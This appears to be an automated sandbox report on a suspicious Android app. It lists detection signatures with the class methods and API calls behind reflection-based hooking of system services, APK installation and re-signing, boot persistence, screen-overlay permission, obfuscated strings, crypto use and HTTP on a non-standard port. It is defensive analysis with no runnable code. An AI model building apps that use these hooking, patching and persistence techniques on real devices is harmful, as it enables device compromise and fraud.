Source: uAgent.commonsdk.utils.UMUtils;->getAppkey:229API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.utils.UMUtils;->getChannel:312API Call: android.content.SharedPreferences.getString
Source: uAgent.commonsdk.utils.UMUtils;->getLastAppkey:490API Call: android.content.SharedPreferences.getString
Source: com.android.google.coreappx.utils.PreferencesUtils;->getBoolean:6API Call: android.content.SharedPreferences.getBoolean
Source: com.android.google.coreappx.utils.PreferencesUtils;->getString:22API Call: android.content.SharedPreferences.getString
Registers a Sensor listener (to get data about accelerometer, gyrometer etc.)Show sources
Source: uAgent.commonsdk.internal.utils.j$2;->run:7API Call: android.hardware.SensorManager.registerListener
Source: uAgent.commonsdk.internal.utils.j$2;->run:12API Call: android.hardware.SensorManager.registerListener
Source: uAgent.commonsdk.internal.utils.j;->b:20API Call: android.hardware.SensorManager.registerListener
Source: uAgent.commonsdk.internal.utils.j;->b:34API Call: android.hardware.SensorManager.registerListener

Data Obfuscation:

barindex
Found very long method stringsShow sources
Source: Lcom/android/support/multidex/Application$MultiDexVersion$VN24;-><clinit>()VMethod string: \u4883\ua432\u23a7\u3d71\u0bec\u1226\u9155\u27f3\u5fe5\ua451\u4d4d\uc06c\ub46b\u4c8e\u240b\ucc48\uf871\u75d8\ud4be\u05ab\ucff2\u8d1a\u0471\u9b3d\u185f\ucc4e\uf508\u9bf3\u732e\u3a95\ue8df\u4e77\u9633\uc34a\u49eb\u93ee\u8bce\ua8d3\ucfc0\ub241\ube58\u6fd9\u7 Length: 6331
Obfuscates method namesShow sources
Source: m2sE4UM7Wk.apkTotal valid method names: 65%
Uses reflectionShow sources
Source: com.android.google.coreappx.analytics.RefInvoke;->getFieldOjbect:5API Call: java.lang.reflect.Field.get
Source: com.android.google.coreappx.analytics.RefInvoke;->getStaticFieldOjbect:9API Call: java.lang.reflect.Field.get
Source: com.android.google.coreappx.analytics.RefInvoke;->invokeMethod:14API Call: java.lang.reflect.Method.invoke
Source: com.android.google.coreappx.analytics.RefInvoke;->invokeStaticMethod:18API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.bugly.analytics.RefInvoke;->getFieldOjbect:5API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.bugly.analytics.RefInvoke;->getStaticFieldOjbect:9API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.bugly.analytics.RefInvoke;->invokeMethod:14API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.bugly.analytics.RefInvoke;->invokeStaticMethod:18API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->checkPermission:21API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getDBencryptID:125API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getImeiNew:346API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getSerial:497API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getSerialNo:503API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->init:48API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->init:56API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->init:60API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->init:68API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->init:72API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->init:83API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->init:124API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->init:133API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->init:139API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->init:144API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->init:157API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->init:161API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->invoke:175API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.UMConfigure;->invoke:176API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.main.fake.ProxySign;->invoke:8API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.main.fake.ProxySign;->invoke:77API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.framework.b;->a:42API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.framework.c$1$2;->run:7API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.hook.HookManager;->hookAMSLessThanO:9API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.hook.HookManager;->hookAMSLessThanO:15API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.hook.HookManager;->hookAMSMoreThanO:28API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.hook.HookManager;->hookAMSMoreThanO:34API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.hook.HookManager;->hookStartActivity:47API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.hook.HookManager;->hookClick:92API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.hook.HookManager;->hookClick:97API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.hook.HookManager;->hookHandler:108API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.hook.HookManager;->hookHandler:112API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.hook.HookManager;->hookNotificationManager:122API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.hook.HookManager;->hookPMS:137API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.hook.HookManager;->hookPMS:141API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.hook.HookManager;->hookToast:159API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.idtracking.k;->f:8API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.idtracking.l;->f:8API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.idtracking.m;->f:8API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.idtracking.n;->f:8API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.idtracking.o;->f:8API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.idtracking.p;->f:8API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.idtracking.r;->f:31API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.idtracking.s;->a:7API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.internal.c;->workEvent:14API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.internal.c;->workEvent:46API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.internal.c;->workEvent:60API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.internal.c;->workEvent:66API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.internal.c;->workEvent:72API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.internal.c;->workEvent:78API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.main.loader.multidex.MultiDexExtractor;->apply:6API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.main.loader.multidex.MultiDexVersion$VK19;->install:4API Call: java.lang.reflect.Field.get
Source: com.android.leech.main.loader.multidex.MultiDexVersion$VK19;->install:20API Call: java.lang.reflect.Field.get
Source: com.android.leech.main.loader.multidex.MultiDexVersion$VK19;->makeDexElements:30API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.main.loader.multidex.MultiDexVersion$VM23;->install:4API Call: java.lang.reflect.Field.get
Source: com.android.leech.main.loader.multidex.MultiDexVersion$VM23;->install:20API Call: java.lang.reflect.Field.get
Source: com.android.leech.main.loader.multidex.MultiDexVersion$VM23;->makeDexElements:30API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.main.loader.multidex.MultiDexVersion$VN24;->install:4API Call: java.lang.reflect.Field.get
Source: com.android.leech.main.loader.multidex.MultiDexVersion$VN24;->install:20API Call: java.lang.reflect.Field.get
Source: com.android.leech.main.loader.multidex.MultiDexVersion$VN24;->makeDexElements:30API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.main.loader.multidex.MultiDexVersion;->expandFieldArray:4API Call: java.lang.reflect.Field.get
Source: com.android.leech.main.loader.multidex.RefInvoke;->getFieldOjbect:9API Call: java.lang.reflect.Field.get
Source: com.android.leech.main.loader.multidex.RefInvoke;->getStaticFieldOjbect:13API Call: java.lang.reflect.Field.get
Source: com.android.leech.main.loader.multidex.RefInvoke;->invokeMethod:18API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.main.loader.multidex.RefInvoke;->invokeStaticMethod:22API Call: java.lang.reflect.Method.invoke
Source: com.android.support.multidex.Application$MultiDexVersion$VN24;->w:178API Call: java.lang.reflect.Field.get
Source: com.android.support.multidex.Application$MultiDexVersion$VN24;->x:186API Call: java.lang.reflect.Method.invoke
Source: com.android.support.multidex.Application$MultiDexVersion$VN24;->yobwsd:191API Call: java.lang.reflect.Method.invoke
Source: com.android.support.multidex.Application$ZipUtils;->aAo:12API Call: java.lang.reflect.Field.get
Source: com.android.support.multidex.Application$ZipUtils;->aAo:18API Call: java.lang.reflect.Field.get
Source: com.android.support.multidex.Application$ZipUtils;->aAo:23API Call: java.lang.reflect.Method.invoke
Source: com.android.support.multidex.Application$ZipUtils;->wxCCsIE:30API Call: java.lang.reflect.Method.invoke
Source: com.android.support.multidex.MultiDexExtractor;->access$invoke:64API Call: java.lang.reflect.Method.invoke
Source: com.android.support.multidex.MultiDexVersion$VK19;->access$invoke:2API Call: java.lang.reflect.Method.invoke
Source: com.android.support.multidex.MultiDexVersion$VM23;->access$invoke:2API Call: java.lang.reflect.Method.invoke
Source: com.android.support.multidex.MultiDexVersion$VN24;->access$invoke:2API Call: java.lang.reflect.Method.invoke
Source: com.android.support.multidex.RefInvoke;->access$invoke:2API Call: java.lang.reflect.Method.invoke
Source: uAgent.analytics.pro.i;->f:433API Call: java.lang.reflect.Method.invoke
Source: uAgent.analytics.pro.i;->g:453API Call: java.lang.reflect.Method.invoke
Source: uAgent.analytics.pro.o;->a:236API Call: java.lang.reflect.Method.invoke
Source: uAgent.analytics.pro.o;->a:239API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.proguard.a;->a:10API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.proguard.a;->a:14API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.proguard.q;->a:6API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.hook.proxy.ActivityThreadHandlerCallback;->handleLaunchActivity:17API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.hook.proxy.HookPMSHandler;->invoke:16API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.hook.proxy.HookPMSHandler;->invoke:19API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.hook.proxy.HookPMSHandler;->invoke:22API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.hook.proxy.IActivityManagerHandler;->invoke:63API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.hook.proxy.NotificationProxy;->invoke:3API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.hook.proxy.ToastProxy;->invoke:3API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.stateless.UMSLEnvelopeBuild;->buildSLBaseHeader:63API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.b;->b:239API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.statistics.c$1;->onImprintChanged:27API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.main.ad.mini.database.tool.TableOperate;->insert:24API Call: java.lang.reflect.Field.get
Source: com.android.leech.main.ad.mini.database.tool.TableOperate;->uptate:111API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.util.RefInvoke;->getFieldOjbect:9API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.util.RefInvoke;->getStaticFieldOjbect:13API Call: java.lang.reflect.Field.get
Source: com.android.leech.base.util.RefInvoke;->invokeMethod:18API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.util.RefInvoke;->invokeStaticMethod:22API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.util.SystemPropertiesProxy;->getBoolean:11API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.util.SystemPropertiesProxy;->getInt:37API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.util.SystemPropertiesProxy;->getLong:48API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.util.SystemPropertiesProxy;->getString:58API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.base.util.SystemPropertiesProxy;->getString:67API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.internal.utils.a;->a:32API Call: java.lang.reflect.Field.get
Source: uAgent.commonsdk.internal.utils.a;->a:33API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.internal.utils.a;->g:143API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.internal.utils.a;->t:250API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.internal.utils.k;->c:37API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.internal.utils.k;->c:43API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.utils.UMUtils;->checkPermission:62API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.utils.UMUtils;->getDeviceToken:349API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.utils.UMUtils;->getDeviceToken:352API Call: java.lang.reflect.Method.invoke
Source: uAgent.commonsdk.utils.UMUtils;->getUTDID:722API Call: java.lang.reflect.Method.invoke
Source: com.android.leech.patch.apksigner.sun.security.x509.UnparseableExtension;-><init>:8API Call: java.lang.reflect.Field.get

Persistence and Installation Behavior:

barindex
Sets an intent to the APK data type (used to install other APKs)Show sources
Source: com.android.leech.patch.PatchNotification;->getSystemPackageInstaller:23API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")
Source: com.android.leech.patch.PatchNotification;->install:40API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")
Source: com.android.leech.patch.PatchNotification;->onFloatClick:62API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")
Source: com.android.leech.main.ad.mini.util.StartAPP;->getSystemPackageInstaller:40API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")
Source: com.android.leech.main.ad.mini.util.StartAPP;->startInstall:174API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")
Source: com.android.leech.base.util.ApkInfos;->getSystemPackageInstaller:127API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")
Source: com.android.leech.base.util.ApkInfos;->getSystemUnPackageInstaller:149API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")
Creates filesShow sources
Source: com.android.leech.base.util.ACache;->put:207API Call: java.io.FileWriter.<init>
Source: com.android.leech.base.util.FileUtils;->writeString:179API Call: java.io.FileWriter.<init>

Boot Survival:

barindex
Has permission to execute code after phone rebootShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_BOOT_COMPLETED

Hooking and other Techniques for Hiding and Protection:

barindex
Uses known network protocols on non-standard portsShow sources
Source: unknownNetwork traffic detected: HTTP traffic on port 51964 -> 8091
Source: unknownNetwork traffic detected: HTTP traffic on port 8091 -> 51964
Source: unknownNetwork traffic detected: HTTP traffic on port 51964 -> 8091
Source: unknownNetwork traffic detected: HTTP traffic on port 8091 -> 51964
Source: unknownNetwork traffic detected: HTTP traffic on port 51966 -> 8091
Source: unknownNetwork traffic detected: HTTP traffic on port 8091 -> 51966
Source: unknownNetwork traffic detected: HTTP traffic on port 51966 -> 8091
Source: unknownNetwork traffic detected: HTTP traffic on port 8091 -> 51966
Has permission to draw over other applications or user interfacesShow sources
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Queries list of running processes/tasksShow sources
Source: uAgent.commonsdk.framework.b;->a:28API Call: android.app.ActivityManager.getRunningAppProcesses
Source: uAgent.commonsdk.framework.b;->g:168API Call: android.app.ActivityManager.getRunningAppProcesses
Source: com.android.leech.base.util.EnvUtils;->isAppInForeground:11API Call: android.app.ActivityManager.getRunningAppProcesses
Source: com.android.leech.base.util.EnvUtils;->isAppInForeground:20API Call: android.app.ActivityManager.getRunningTasks
Source: com.android.leech.base.util.LocalSocketServer;->getprocessName:9API Call: android.app.ActivityManager.getRunningAppProcesses
Queries package code path (often used for patching other applications)Show sources
Source: com.android.leech.main.fake.FakeMain;->init:50API Call: android.content.Context.getPackageCodePath
Uses Crypto APIsShow sources
Source: com.android.leech.patch.apksigner.Main;->addDigestsToManifest:19API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.patch.apksigner.Main;->addDigestsToManifest:40API Call: java.security.MessageDigest.update
Source: com.android.leech.patch.apksigner.Main;->addDigestsToManifest:51API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.apksigner.Main;->decryptPrivateKey:73API Call: javax.crypto.Cipher.getInstance
Source: com.android.leech.patch.apksigner.Main;->decryptPrivateKey:75API Call: javax.crypto.Cipher.init
Source: com.android.leech.patch.apksigner.Main;->generateSignatureFile:87API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.patch.apksigner.Main;->generateSignatureFile:97API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.apksigner.Main;->generateSignatureFile:143API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.apksigner.Signature;->initSign:5API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.patch.apksigner.Signature;->initSign:7API Call: javax.crypto.Cipher.getInstance
Source: com.android.leech.patch.apksigner.Signature;->initSign:9API Call: javax.crypto.Cipher.init
Source: com.android.leech.patch.apksigner.Signature;->sign:21API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.apksigner.Signature;->sign:24API Call: javax.crypto.Cipher.doFinal
Source: com.android.leech.patch.apksigner.Signature;->update:26API Call: java.security.MessageDigest.update
Source: com.android.leech.patch.apksigner.Signature;->update:28API Call: java.security.MessageDigest.update
Source: com.android.leech.base.bugly.bean.au;->a:22API Call: javax.crypto.Cipher.getInstance
Source: com.android.leech.base.bugly.bean.au;->a:26API Call: javax.crypto.Cipher.init
Source: com.android.leech.base.bugly.bean.au;->a:27API Call: javax.crypto.Cipher.doFinal
Source: com.android.leech.base.bugly.bean.au;->b:48API Call: javax.crypto.Cipher.getInstance
Source: com.android.leech.base.bugly.bean.au;->b:52API Call: javax.crypto.Cipher.init
Source: com.android.leech.base.bugly.bean.au;->b:53API Call: javax.crypto.Cipher.doFinal
Source: com.android.leech.base.bugly.bean.av;->a:4API Call: javax.crypto.Cipher.getInstance
Source: com.android.leech.base.bugly.bean.av;->a:16API Call: javax.crypto.Cipher.init
Source: com.android.leech.base.bugly.bean.av;->a:17API Call: javax.crypto.Cipher.doFinal
Source: com.android.leech.base.bugly.bean.av;->b:20API Call: javax.crypto.Cipher.getInstance
Source: com.android.leech.base.bugly.bean.av;->b:32API Call: javax.crypto.Cipher.init
Source: com.android.leech.base.bugly.bean.av;->b:33API Call: javax.crypto.Cipher.doFinal
Source: com.android.leech.base.checkSign.ApkSignatureSchemeV2Verifier$ByteBufferDataSource;->feedIntoMessageDigests:11API Call: java.security.MessageDigest.update
Source: com.android.leech.base.checkSign.ApkSignatureSchemeV2Verifier$MemoryMappedFileDataSource;->feedIntoMessageDigests:5API Call: java.security.MessageDigest.update
Source: com.android.leech.base.checkSign.ApkSignatureSchemeV2Verifier;->computeContentDigests:38API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.base.checkSign.ApkSignatureSchemeV2Verifier;->computeContentDigests:48API Call: java.security.MessageDigest.update
Source: com.android.leech.base.checkSign.ApkSignatureSchemeV2Verifier;->computeContentDigests:52API Call: java.security.MessageDigest.digest
Source: com.android.leech.base.checkSign.ApkSignatureSchemeV2Verifier;->computeContentDigests:73API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.base.checkSign.ApkSignatureSchemeV2Verifier;->computeContentDigests:74API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.statistics.common.DataHelper;->decrypt:31API Call: javax.crypto.Cipher.getInstance
Source: uAgent.commonsdk.statistics.common.DataHelper;->decrypt:36API Call: javax.crypto.Cipher.init
Source: uAgent.commonsdk.statistics.common.DataHelper;->decrypt:37API Call: javax.crypto.Cipher.doFinal
Source: uAgent.commonsdk.statistics.common.DataHelper;->encrypt:39API Call: javax.crypto.Cipher.getInstance
Source: uAgent.commonsdk.statistics.common.DataHelper;->encrypt:44API Call: javax.crypto.Cipher.init
Source: uAgent.commonsdk.statistics.common.DataHelper;->encrypt:45API Call: javax.crypto.Cipher.doFinal
Source: uAgent.commonsdk.statistics.common.DataHelper;->encryptBySHA1:48API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.statistics.common.DataHelper;->encryptBySHA1:49API Call: java.security.MessageDigest.update
Source: uAgent.commonsdk.statistics.common.DataHelper;->encryptBySHA1:50API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.statistics.common.DataHelper;->hash:53API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.statistics.common.DataHelper;->hash:55API Call: java.security.MessageDigest.update
Source: uAgent.commonsdk.statistics.common.DataHelper;->hash:56API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getAppHashKey:36API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getAppHashKey:38API Call: java.security.MessageDigest.update
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getAppHashKey:39API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getAppMD5Signature:52API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getAppMD5Signature:54API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getAppSHA1Key:75API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getAppSHA1Key:77API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.statistics.common.HelperUtils;->MD5:6API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.statistics.common.HelperUtils;->MD5:8API Call: java.security.MessageDigest.update
Source: uAgent.commonsdk.statistics.common.HelperUtils;->MD5:9API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.statistics.common.HelperUtils;->getFileMD5:22API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.statistics.common.HelperUtils;->getFileMD5:25API Call: java.security.MessageDigest.update
Source: uAgent.commonsdk.statistics.common.HelperUtils;->getFileMD5:28API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.statistics.common.HelperUtils;->getUmengMD5:32API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.statistics.common.HelperUtils;->getUmengMD5:34API Call: java.security.MessageDigest.update
Source: uAgent.commonsdk.statistics.common.HelperUtils;->getUmengMD5:35API Call: java.security.MessageDigest.digest
Source: com.android.leech.base.util.dex.DexUtils;->getDexSHA1:21API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.base.util.dex.DexUtils;->getDexSHA1:25API Call: java.security.MessageDigest.update
Source: com.android.leech.base.util.dex.DexUtils;->getDexSHA1:26API Call: java.security.MessageDigest.update
Source: com.android.leech.base.util.dex.DexUtils;->getDexSHA1:28API Call: java.security.MessageDigest.digest
Source: com.android.leech.base.util.dex.DexUtils;->updateSum:59API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.base.util.dex.DexUtils;->updateSum:60API Call: java.security.MessageDigest.update
Source: com.android.leech.base.util.dex.DexUtils;->updateSum:61API Call: java.security.MessageDigest.digest
Source: com.android.leech.base.bugly.encode.Decode;->decodeFinal:8API Call: javax.crypto.Cipher.getInstance
Source: com.android.leech.base.bugly.encode.Decode;->decodeFinal:11API Call: javax.crypto.Cipher.init
Source: com.android.leech.base.bugly.encode.Decode;->decodeFinal:12API Call: javax.crypto.Cipher.doFinal
Source: com.android.leech.base.bugly.encode.Decode;->decodeFinal:14API Call: javax.crypto.Cipher.init
Source: com.android.leech.base.bugly.encode.EncodeUtils;->b:8API Call: javax.crypto.Cipher.getInstance
Source: com.android.leech.base.bugly.encode.EncodeUtils;->b:9API Call: javax.crypto.Cipher.init
Source: com.android.leech.base.bugly.encode.EncodeUtils;->b:10API Call: javax.crypto.Cipher.doFinal
Source: com.android.leech.base.bugly.encode.EncodeUtils;->buildo:37API Call: javax.crypto.KeyGenerator.generateKey
Source: com.android.leech.base.bugly.encode.ap;->a:32API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.base.bugly.encode.ap;->a:34API Call: java.security.MessageDigest.update
Source: com.android.leech.base.bugly.encode.ap;->a:37API Call: java.security.MessageDigest.digest
Source: com.android.leech.base.bugly.encode.ap;->a:92API Call: javax.crypto.Cipher.getInstance
Source: com.android.leech.base.bugly.encode.ap;->a:95API Call: javax.crypto.Cipher.init
Source: com.android.leech.base.bugly.encode.ap;->a:96API Call: javax.crypto.Cipher.doFinal
Source: com.android.leech.base.bugly.encode.ap;->a:98API Call: javax.crypto.Cipher.init
Source: com.android.packageinstaller.InstallFlowAnalytics;->getSha256ContentsDigest:50API Call: java.security.MessageDigest.getInstance
Source: com.android.packageinstaller.InstallFlowAnalytics;->getSha256ContentsDigest:54API Call: java.security.MessageDigest.update
Source: com.android.packageinstaller.InstallFlowAnalytics;->getSha256ContentsDigest:59API Call: java.security.MessageDigest.digest
Source: com.android.leech.base.util.patch.PatchUtils;->update_checksum:78API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.base.util.patch.PatchUtils;->update_checksum:79API Call: java.security.MessageDigest.update
Source: com.android.leech.base.util.patch.PatchUtils;->update_checksum:80API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.SignApk;->addDigestsToManifest:11API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.patch.SignApk;->addDigestsToManifest:42API Call: java.security.MessageDigest.update
Source: com.android.leech.patch.SignApk;->addDigestsToManifest:46API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.SignApk;->decryptPrivateKey:77API Call: javax.crypto.Cipher.getInstance
Source: com.android.leech.patch.SignApk;->decryptPrivateKey:79API Call: javax.crypto.Cipher.init
Source: com.android.leech.patch.SignApk;->writeSignatureFile:244API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.patch.SignApk;->writeSignatureFile:252API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.SignApk;->writeSignatureFile:290API Call: java.security.MessageDigest.digest
Source: com.android.leech.patch.apksigner.sun.security.pkcs.SignerInfo;->verify:191API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.patch.apksigner.sun.security.pkcs.SignerInfo;->verify:192API Call: java.security.MessageDigest.digest
Source: com.android.leech.base.sign.ApkSignerV2;->computeContentDigests:23API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.base.sign.ApkSignerV2;->computeContentDigests:27API Call: java.security.MessageDigest.update
Source: com.android.leech.base.sign.ApkSignerV2;->computeContentDigests:28API Call: java.security.MessageDigest.update
Source: com.android.leech.base.sign.ApkSignerV2;->computeContentDigests:32API Call: java.security.MessageDigest.digest
Source: com.android.leech.base.sign.ApkSignerV2;->computeContentDigests:59API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.base.sign.ApkSignerV2;->computeContentDigests:61API Call: java.security.MessageDigest.digest
Source: uAgent.commonsdk.stateless.f;->a:268API Call: javax.crypto.Cipher.getInstance
Source: uAgent.commonsdk.stateless.f;->a:273API Call: javax.crypto.Cipher.init
Source: uAgent.commonsdk.stateless.f;->a:274API Call: javax.crypto.Cipher.doFinal
Source: uAgent.commonsdk.stateless.f;->b:276API Call: java.security.MessageDigest.getInstance
Source: uAgent.commonsdk.stateless.f;->b:278API Call: java.security.MessageDigest.update
Source: uAgent.commonsdk.stateless.f;->b:279API Call: java.security.MessageDigest.digest
Source: com.android.leech.base.bugly.util.DeviceUtil;->getMd5:79API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.base.bugly.util.DeviceUtil;->getMd5:85API Call: java.security.MessageDigest.update
Source: com.android.leech.base.bugly.util.DeviceUtil;->getMd5:86API Call: java.security.MessageDigest.digest
Source: com.android.leech.base.util.AESUtil;->decrypt:10API Call: javax.crypto.Cipher.getInstance
Source: com.android.leech.base.util.AESUtil;->decrypt:14API Call: javax.crypto.Cipher.init
Source: com.android.leech.base.util.AESUtil;->decrypt:17API Call: javax.crypto.Cipher.doFinal
Source: com.android.leech.base.util.AESUtil;->encrypt:23API Call: javax.crypto.Cipher.getInstance
Source: com.android.leech.base.util.AESUtil;->encrypt:31API Call: javax.crypto.Cipher.init
Source: com.android.leech.base.util.AESUtil;->encrypt:34API Call: javax.crypto.Cipher.doFinal
Source: com.android.leech.base.util.MD5Utils;->getFileMD5:4API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.base.util.MD5Utils;->getFileMD5:6API Call: java.security.MessageDigest.update
Source: com.android.leech.base.util.MD5Utils;->getFileMD5:9API Call: java.security.MessageDigest.digest
Source: com.android.leech.base.util.MD5Utils;->getStringMD5:12API Call: java.security.MessageDigest.getInstance
Source: com.android.leech.base.util.MD5Utils;->getStringMD5:14API Call: java.security.MessageDigest.digest
